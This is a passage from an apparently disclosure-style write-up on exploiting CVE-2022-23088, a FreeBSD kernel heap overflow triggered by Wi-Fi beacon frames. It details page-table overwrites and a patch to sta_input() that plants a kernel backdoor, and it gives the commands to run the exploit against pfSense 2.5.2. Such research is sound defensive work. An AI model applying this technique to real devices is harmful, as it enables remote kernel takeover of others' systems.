Quick Background: x64 CPUs use page tables to map virtual addresses to physical RAM pages, in a 4-level hierarchy that goes from L4 (root) to L0 (leaf). Refer to the official AMD and Intel specifications for more details.

In this step, we use the primitive to overwrite an L3 page table entry (PTE) and make it point to the L2 PTE that we wrote at physical address 0x1000 as part of Frame 1. We crafted that L2 PTE precisely to point to our three L1 PTEs, which themselves point to two different areas: (1) two physical pages of the kernel text segment, and (2) our implant shellcode.

In other words, by overwriting an L3 PTE, we create a branch in the page tables that maps two pages of kernel text as writable and our shellcode as executable:

Figure 5 - Frame 2

At this point, our shellcode is mapped into the target’s virtual memory space and is ready to be executed. We will see below why we're mapping the two pages of the kernel text segment.

The attentive reader may be concerned about the constraints of the primitive here. Nothing to worry about: the L3 PTE space is mostly unpopulated. We just have to choose an unpopulated range where overwriting 188 bytes will not matter.

Frame 3: Patching the text segment

In order to jump into our newly mapped shellcode, we will patch the beginning of the sta_input() function in the text segment. This function is part of the Wi-Fi stack and gets called each time the kernel receives a Wi-Fi frame, so it seems like the perfect place to invoke our implant.

How can we patch it, given that the kernel text segment is not writable? By mapping as writable the text pages that contain the function. This is what we did in frames 1 and 2, with the first two L1 PTEs, that now give us a writable view of the instruction bytes of sta_input():

Figure 6 - Our writable view of sta_input()

Back on topic, we use the primitive to patch the first bytes of sta_input() via the writable view we created in frames 1 and 2, and replace these bytes with:

48 b8 77 66 55 44 movabs $AddressOfOurImplantShellCode,%rax

33 22 11 00

ff d0 callq *%rax

view raw CVE-2022-23088-7.txt hosted with ❤ by GitHub

This simply calls our shellcode. However, the constraints of our primitive come into play:

1. The first constraint of the primitive is that the first 6 bytes that we overwrite cannot be controlled. Overwriting memory at sta_input would not be great, as it would put 6 bytes of garbage at the beginning of the function, causing the target to crash.

However, if we look at the instruction dump of sta_input, we can see that it actually has a convenient layout:

8f90 <sta_newstate+0x4d0>:

8f90: 5e pop %rsi

8f91: 41 5f pop %r15

8f93: 5d pop %rbp

8f94: c3 retq

8f95: 66 2e 0f 1f 84 00 nopw %cs:0x0(%rax,%rax,1)

8f9c: 00 00 00 00

8f9f: 90 nop

8fa0 <sta_input>:

8fa0: 55 push %rbp | GETS PATCHED

8fa1: 48 89 e5 mov %rsp,%rbp | GETS PATCHED

8fa4: 41 57 push %r15 | GETS PATCHED

8fa6: 41 56 push %r14 | GETS PATCHED

8fa8: 41 55 push %r13 | GETS PATCHED

8faa: 41 54 push %r12 | GETS PATCHED

8fac: 53 push %rbx

8fad: 48 83 ec 48 sub $0x48,%rsp

view raw CVE-2022-23088-8.txt hosted with ❤ by GitHub

What we can do here is overwrite memory at sta_input-6. The 6 bytes of garbage will just overwrite the unreachable NOPs of the previous sta_newstate() function, with no effect on execution.

With this trick, we don’t have to worry about these first 6 bytes, as they are effectively discarded.

2. The second constraint of the primitive is that we are forced to overwrite exactly 182 bytes, so we cannot overwrite the first few bytes only. This is not really a problem. We can just fill the rest of the bytes with the same instruction bytes that are there in memory already.

3. The third constraint of the primitive is that the last 12 bytes that we write are the ies->data and ies->len fields, and these don’t disassemble to valid instructions. That’s a problem because these bytes are within sta_input(). If the kernel tries to execute these bytes, it won’t be long before it crashes. To work around this, we must have corrective code in our implant. When called for the first time, our implant must correct the last 12 bytes of garbage that we wrote into sta_input(). Although slightly annoying, this is not complicated to implement.

With all that established, we’re all set. Our implant will now execute each time sta_input() is called, meaning, each time a Wi-Fi frame is received by the target!

Frame 4: Corrective frame

Finally, to maintain the stability of the target, we send a final beacon frame where we overflow ies->data to be NULL and ies->len to be 0.

This ensures that the target won’t crash.

Subsequent communication channel

With the aforementioned four frames, we have a recipe to reliably inject an implant into the target’s kernel. The implant gets called in the same context as sta_input():

static int

sta_input(struct ieee80211_node *ni, struct mbuf *m,

const struct ieee80211_rx_stats *rxs, int rssi, int nf)

view raw CVE-2022-23088-9.c hosted with ❤ by GitHub

Notably, the second argument, m, is the memory region containing the buffer of the frame that the kernel is currently processing. The implant can therefore inspect that buffer (via %rsi) and act depending on its contents.

In other words, we have a communication channel with the implant. We can therefore code our implant as a server backdoor and send commands to it via this channel.

Full steps

Let’s recap:

1. A heap buffer overflow vulnerability exists in the FreeBSD kernel. An attacker can trigger this bug by sending a beacon frame with an oversized MeshId option.
2. Using that vulnerability, we can implement a write-what-where primitive that allows us to perform one kernel memory overwrite per beacon frame we send.
3. We can use that primitive three times to inject an implant into the target’s kernel.
4. A fourth beacon frame is used to clean up ies->data and ies->len, to prevent a crash.
5. Finally, our implant runs in the kernel of the target and acts as a full backdoor that can process subsequent Wi-Fi frames we send to it.

The Exploit

A full exploit can be found here. It injects a simple implant that calls printf() with the strings that the attacker subsequently sends. To use this exploit from a Linux machine that has a Wi-Fi card called wifi0, switch the card to monitor mode with:

$ sudo ifconfig wifi0 down

$ sudo iwconfig wifi0 mode monitor

$ sudo ifconfig wifi0 up

view raw CVE-2022-23088-10.console hosted with ❤ by GitHub

Then, build and run the exploit for the desired target. For example, if you wish to target a pfSense 2.5.2 system:

$ ./build.py kernels/pfSense-2.5.2-RELEASE

$ sudo ./exploit.py wifi0 kernels/pfSense-2.5.2-RELEASE

[+] Phase 1: writing page1

[+] Phase 2: writing L3

[+] Phase 3: patching kernel

[+] Phase 4: repairing

[+] Finished

> Hello there, I’m in the kernel

view raw CVE-2022-23088-11.console hosted with ❤ by GitHub